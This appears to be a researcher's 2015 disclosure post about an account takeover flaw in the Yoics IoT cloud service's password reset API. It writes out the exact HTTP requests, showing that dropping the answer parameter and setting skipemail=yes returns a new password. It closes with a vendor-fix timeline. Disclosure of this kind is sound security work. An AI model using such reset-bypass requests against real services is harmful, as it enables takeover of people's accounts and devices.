Yoics: account takeover vulnerability

Full account takeover in an IoT cloud provider used by manufacturers such as Cisco and Phillips.

January 29, 2015

2 min read

Published over 6 years ago

Yoics market themselves as “secure cloud networking” and is a service that allows you to “Internet access (almost) anything”. Many top brands use Yoics services in their devices; Cisco, Astak, Philips and more. A good example is the Philips In.Sight M100 Wireless Home Monitor.

By exploiting a flaw in the Yoics service, it was possible for an attacker to manipulate the password reset functionality to reset the password to any account, providing they know the users e-mail address.

Let’s take a look at the raw HTTP requests.

To begin the password reset process we first get the security question that we need to answer:

GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&action=getsecurityquestion&type=xml HTTP/1.1

The email field is just the e-mail address hex encoded. The call simply returns the security question: <passwordquestion>Favorite Pet's Name</passwordquestion>

To complete the password reset process we send another HTTP request with the answer:

GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&answer=626f62&skipemail=no&action=recoverpassword&type=xml HTTP/1.1

Again, the answer parameter is just hex encoded. If the answer is wrong we get back a simple error message. All is good.

After trying various different combinations I noticed if you ommit the answer parameter entirely you get a <status>ok</status> message. Has it been reset? A few minutes later I received the standard password reset e-mail. Hmm, I wonder… Let’s try setting the skipemail parameter to yes:

GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&skipemail=yes&action=recoverpassword&type=xml HTTP/1.1

And the response:

<status>ok</status>
<password>0d8jerg</password>

Wham, bam, thank you ma’am. From here an attacker can login with the given password and access the the users IoT devices remotely.

Disclosure timeline

  • 27/01/2015 - Initial contact made with vendor.
  • 29/01/2015 - Vendor confirmed the bug and will fix as a priority (within 24 hours).
  • 30/01/2015 - Patch is live in production. Confirmed fixed.